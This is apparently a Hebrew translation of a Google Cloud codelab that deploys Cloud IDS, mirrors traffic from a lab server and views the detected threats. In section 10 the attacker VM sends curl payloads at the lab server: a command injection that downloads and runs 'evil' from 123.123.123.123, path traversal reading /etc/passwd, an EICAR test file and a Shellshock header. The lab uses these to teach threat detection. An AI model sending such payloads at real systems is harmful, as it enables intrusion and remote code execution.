1. מבוא
בשיעור ה-Lab הזה תפרסו את Cloud IDS, שירות מתקדם לאיתור חדירות, שמספק זיהוי איומים מפני חדירות, תוכנות זדוניות, רוגלות ומתקפות פקודה ובקרה. תהיה לך אפשרות לדמות מספר התקפות ולהציג את פרטי האיומים במסוף Cloud.
מה תלמדו
- איך יוצרים נקודת קצה של Cloud IDS
- איך יוצרים 2 מכונות וירטואליות באמצעות פקודות gcloud
- איך יוצרים מדיניות לשיקוף חבילות
- איך לדמות תנועה תקיפה ממכונה וירטואלית
- איך רואים את פרטי האיומים במסוף Cloud וב-Cloud Logging
מה צריך להכין
- ידע בפקודות Linux בסיסיות
2. תרחישים לדוגמה של Cloud IDS
שירות Cloud IDS מספק שירות מקורי של Google Cloud לזיהוי חדירות (IDS) של הדור הבא, שמאפשר ללקוחות לעמוד בדרישות המתקדמות שלהם לזיהוי איומים ולתאימות, כמו PCI 11.4. השירות מבוסס על טכנולוגיות להגנה מפני איומים של Palo Alto Networks, כדי לספק זיהוי מתקדם של פריצות אבטחה. השילוב של התשתית מהטובות בעולם עם אבטחה ברמה עולמית של Palo Alto Networks מספק ללקוחות שילוב חסר תקדים של שירות זיהוי איומים מנוהל, עם ביצועים גבוהים ויעילות אבטחה מתקדמת.
כשהלקוחות עוברים לענן, האבטחה שלהם נמצאת בראש סדר העדיפויות שלהם. הם רוצים להשתמש באמצעי אבטחה דומים שיש להם בארגון, כמו שירות לגילוי חדירות (IDS) בענן. הם מעדיפים מאוד להשתמש בפתרון IDS מנוהל שמבוסס על ענן כדי להקל על הפריסה, לשפר את הביצועים ולייעל את העלויות, בהשוואה לפריסה של פתרון אבטחה של צד שלישי ולניהול התשתית או יצירת חתימות משלהם. Google Cloud IDS מספק שירות IDS מנוהל מקצה לקצה עם התאמה לעומס (auto-scaling), שמאפשר ללקוחות לבזבז את הזמן שלהם בניתוח ובצמצום של איומים, ולפנות זמן ומשאבים לניהול התשתית או חתימות על איומים.
שירות Cloud IDS נפרס מחוץ למסגרת ויכול לזהות איומים ולהתריע עליהם, אבל הוא לא יכול לחסום איומים. הטכנולוגיה הזו משתמשת ברפליקציות של Google Cloud Packet כדי ליצור עותק של התנועה ברשת שמנותחת באמצעות המנוע לזיהוי איומים של Palo Alto Network.
3. טופולוגיה של Codelab
איור 1. סקירה כללית של ארכיטקטורה ברמה גבוהה של פריסת Cloud IDS בשיעור ה-Lab הזה.
4. הגדרה ודרישות
הגדרת סביבה בקצב עצמאי
- נכנסים למסוף Google Cloud ויוצרים פרויקט חדש או עושים שימוש חוזר בפרויקט קיים. אם אין לכם עדיין חשבון Gmail או חשבון Google Workspace, עליכם ליצור חשבון.
- Project name הוא השם המוצג של המשתתפים בפרויקט. זו מחרוזת תווים שלא נעשה בה שימוש ב-Google APIs, ואפשר לעדכן אותה בכל שלב.
- Project ID חייב להיות ייחודי בכל הפרויקטים ב-Google Cloud ואי אפשר לשנות אותו (אי אפשר לשנות אותו אחרי שמגדירים אותו). מסוף Cloud יוצר מחרוזת ייחודית באופן אוטומטי; בדרך כלל לא מעניין אותך מה זה. ברוב ה-Codelabs תצטרכו להפנות אל מזהה הפרויקט (ובדרך כלל הוא מזוהה כ-
PROJECT_ID
), כך שאם הוא לא מוצא חן בעיניכם, תוכלו ליצור פרויקט אקראי אחר או לנסות בעצמכם ולבדוק אם הוא זמין. ואז המכשיר 'קפוא' לאחר יצירת הפרויקט. - יש ערך שלישי, Project Number, שחלק מממשקי ה-API משתמשים בו. מידע נוסף על כל שלושת הערכים האלה זמין במסמכי התיעוד.
- בשלב הבא צריך להפעיל את החיוב במסוף Cloud כדי להשתמש במשאבים או בממשקי API של Cloud. מעבר ב-Codelab הזה לא אמור לעלות הרבה, אם בכלל. כדי להשבית את המשאבים ולא לצבור חיובים מעבר למדריך הזה, פועלים לפי ההנחיות לניקוי בסוף ה-Codelab. משתמשים חדשים ב-Google Cloud זכאים להצטרף לתוכנית תקופת ניסיון בחינם בשווי 1,200 ש"ח.
הפעלת Cloud Shell
אומנם אפשר להפעיל את Google Cloud מרחוק מהמחשב הנייד, אבל ב-Codelab הזה משתמשים ב-Google Cloud Shell, סביבת שורת הפקודה שפועלת ב-Cloud.
ממסוף GCP, לוחצים על הסמל של Cloud Shell בסרגל הכלים שבפינה השמאלית העליונה:
נדרשים רק כמה דקות כדי להקצות את הסביבה ולהתחבר אליה. בסיום התהליך, אתם אמורים לראות משהו כזה:
למכונה הווירטואלית הזו נטען כל כלי הפיתוח הדרושים. יש בה ספריית בית בנפח מתמיד של 5GB והיא פועלת ב-Google Cloud, מה שמשפר משמעותית את ביצועי הרשת והאימות. כל העבודה בשיעור ה-Lab הזה יכולה להתבצע באמצעות דפדפן בלבד.
5. לפני שמתחילים
הפעלת ממשקי API
ב-Inside Cloud Shell, מוודאים שמזהה הפרויקט מוגדר
gcloud config list project gcloud config set project [YOUR-PROJECT-NAME] export PROJECT_ID=$(gcloud config get-value project | sed '2d')
הפעלת כל השירותים הנחוצים
gcloud services enable compute.googleapis.com gcloud services enable ids.googleapis.com gcloud services enable logging.googleapis.com
6. יצירת רשת VPC
רשת VPC
מ-Cloud Shell
gcloud compute networks create cloud-ids \ --subnet-mode=custom
רשת משנה
מ-Cloud Shell
gcloud compute networks subnets create cloud-ids-useast1 \ --range=192.168.10.0/24 \ --network=cloud-ids \ --region=us-east1
גישה לשירות פרטי
מ-Cloud Shell
gcloud compute addresses create cloud-ids-ips \ --global \ --purpose=VPC_PEERING \ --addresses=10.10.10.0 \ --prefix-length=24 \ --description="Cloud IDS Range" \ --network=cloud-ids
חיבור לשירות פרטי
מ-Cloud Shell
gcloud services vpc-peerings connect \ --service=servicenetworking.googleapis.com \ --ranges=cloud-ids-ips \ --network=cloud-ids \ --project=$PROJECT_ID
כללים לחומת אש
כדי לאפשר ל-IAP להתחבר למכונות הווירטואליות, יוצרים כלל של חומת אש:
- המדיניות חלה על כל מכונות וירטואליות שרוצים לגשת אליהן באמצעות IAP.
- תעבורת נתונים נכנסת (ingress) מטווח ה-IP 35.235.240.0/20. הטווח הזה מכיל את כל כתובות ה-IP שמשמשות להעברת TCP באמצעות IAP.
מ-Cloud Shell
gcloud compute firewall-rules create allow-iap-proxy \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:22 \ --source-ranges=35.235.240.0/20
כדי לאפשר יציאת HTTP סטנדרטית (TCP 80) ופרוטוקול ICMP לשרת:
- חלה על משאבים עם תג הרשת 'server'
- תעבורת נתונים נכנסת (ingress) מכל המקורות
מ-Cloud Shell
gcloud compute firewall-rules create allow-http-icmp \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:80,icmp \ --source-ranges=0.0.0.0/0 \ --target-tags=server
יצירת מכונה של Cloud NAT
Cloud Router
מ-Cloud Shell
gcloud compute routers create cr-cloud-ids-useast1 \ --region=us-east1 \ --network=cloud-ids
Cloud NAT
מ-Cloud Shell
gcloud compute routers nats create nat-cloud-ids-useast1 \ --router=cr-cloud-ids-useast1 \ --router-region=us-east1 \ --auto-allocate-nat-external-ips \ --nat-all-subnet-ip-ranges
7. יצירת נקודת קצה של Cloud IDS
בקטע הזה יוצרים נקודת קצה (endpoint) של Cloud IDS ב-us-east1, ורמת החומרה שלה מוגדרת כמידע. היצירה של נקודת הקצה של IDS נמשכת כ-20 דקות.
נקודת קצה (endpoint) של IDS
מ-Cloud Shell
gcloud ids endpoints create cloud-ids-east1 \ --network=cloud-ids \ --zone=us-east1-b \ --severity=INFORMATIONAL \ --async
איך מוודאים שנקודת הקצה של Cloud IDS הופעלה
gcloud ids endpoints list --project=$PROJECT_ID
פלט -
ID: cloud-ids-east1 LOCATION: us-east1-b SEVERITY: INFORMATIONAL STATE: CREATING NETWORK: cloud-ids TRAFFIC_LOGS:
8. יצירת 2 מכונות וירטואליות
בקטע הזה יוצרים 2 מכונות וירטואליות. הראשון יהיה שרת האינטרנט שמשקף את Cloud IDS. המכונה הווירטואלית השנייה תהיה מקור התנועה של המתקפה.
מכונה וירטואלית 1 (שרת)
מ-Cloud Shell
gcloud compute instances create server \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.20 \ --metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \ --tags=server \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
מכונה וירטואלית 2 (לקוח)
מ-Cloud Shell
gcloud compute instances create attacker \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.10 \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
9. השרת בהכנה
במשימה הזו תאמתו את השרת ותספקו מטען ייעודי (payload) לא תקין של תוכנה זדונית עבור הלקוח.
כניסת SSH למכונה הווירטואלית דרך Cloud Shell
gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap
אישור ששירות האינטרנט פועל
sudo systemctl status nginx
פלט – אימות מצב פעיל ופועל
● nginx.service - A high performance web server and a reverse proxy server Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled) Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago Docs: man:nginx(8) Main PID: 1347 (nginx) Tasks: 3 (limit: 4665) Memory: 4.5M CGroup: /system.slice/nginx.service ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on; ├─1348 nginx: worker process └─1349 nginx: worker process May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server... May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.
שינוי הספרייה לשירות אינטרנט
cd /var/www/html/
יצירה של קובץ תוכנה זדונית זדונית בשרת האינטרנט
sudo touch eicar.file
הדבקת התוכן
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file
חזרה אל CloudShell
exit
יצירת מדיניות לשיקוף חבילות של Cloud IDS
מזהים את כלל ההעברה של נקודת הקצה ל-IDS ומוודאים שמצב נקודת הקצה של המזהה הוא READY.
gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
פלט לדוגמה – מעתיקים את הערך מ-'endpointForwardRule'
user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b createTime: '2021-07-01T21:03:56.099839751Z' endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca endpointIp: 172.16.30.43 name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1 network: projects/ids-project/global/networks/cloud-ids severity: INFORMATIONAL state: READY updateTime: '2021-07-01T21:21:32.744309107Z'
שומרים במשתנה את כלל ההעברה של נקודת הקצה ל-IDS.
export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)") echo $FORWARDING_RULE
המדיניות בנושא רפליקציה של חבילות נתונים
מ-Cloud Shell
gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \ --region=us-east1 \ --collector-ilb=$FORWARDING_RULE \ --network=cloud-ids \ --mirrored-subnets=cloud-ids-useast1
איך מוודאים שנוצרה המדיניות לשיקוף חבילות
מ-Cloud Shell
gcloud compute packet-mirrorings list
פלט
user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list NAME REGION NETWORK ENABLE cloud-ids-packet-mirroring us-east1 cloud-ids TRUE
10. הדמיה של תנועה מתקפת
SSH למכונה הווירטואלית (הלקוח) התוקף
מ-Cloud Shell
gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap
מריצים את בקשות ה-curl הבאות כדי לדמות תנועה זדונית.
curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical
יציאה מה-VM כדי לחזור ל-CloudShell
exit
11. בדיקת איומים שזוהו על ידי Cloud IDS
נכנסים למרכז הבקרה של Cloud IDS
תפריט ניווט > אבטחת רשת > Cloud IDS
עוברים לכרטיסייה 'איומים'.
כמו שאפשר לראות, שירות Cloud IDS תיעד פרופילים שונים של תנועת מתקפות וסיפקו את הפרטים על כל איום. ייתכן שיהיה עליך ללחוץ על 'רענון' אם לא מופיעים איומים. עכשיו נתעמק קצת יותר בפרטי האיומים.
מאתרים את פרצת האבטחה של ביצוע קוד מרחוק ב-Bash לוחצים על סמל שלוש הנקודות מימין ובוחרים באפשרות "הצגת פרטי האיום".
עכשיו נציג את פרטי האירוע ב-Cloud Logging. חזור אל הדף 'איומים' על ידי לחיצה על החץ המצביע שמאלה .
לוחצים על שלוש הנקודות בצד שמאל ובוחרים באפשרות 'צפייה ביומני איומים'.
אותם הפרטים מופיעים ב-Cloud Logging. כך אפשר לשלוח את היומנים ל-Cloud Storage, ל-Chronicle או לכל SIEM/SOAR. אפשר גם ליצור תהליכי עבודה מותאמים אישית לביצוע פעולות תיקון על סמך התראות, למשל. יצירת פונקציה של Cloud Functions שמופעלת בהתראה, ויצירת/עדכון של כלל חומת אש כדי לחסום את כתובת ה-IP, או יצירה/עדכון של מדיניות Cloud Armor.
12. שלבי ניקוי
יציאה ממכונת VM (כל הכרטיסיות)
exit
מטרמינל יחיד של Cloud Shell, מוחקים את רכיבי שיעור ה-Lab
gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet gcloud compute instances delete server --zone=us-east1-b --quiet gcloud compute instances delete attacker --zone=us-east1-b --quiet gcloud compute firewall-rules delete allow-iap-proxy --quiet gcloud compute firewall-rules delete allow-http-icmp --quiet gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet gcloud compute addresses delete cloud-ids-ips --global --quiet gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet gcloud compute networks delete cloud-ids --quiet
13. מעולה!
ברכות על השלמת ה-Codelab.
אילו נושאים דיברנו?
- תרחישים לדוגמה של Cloud IDS
- דרישות רשת
- ממשקי API נתמכים
- נוצרה נקודת קצה (endpoint) של Cloud IDS
- פרוסות 2 מכונות וירטואליות
- נוצרה 'התקפה' תנועה מהלקוח
- איומים מאומתים זוהו על ידי IDS
- בדיקת הפרטים והיומנים של האיומים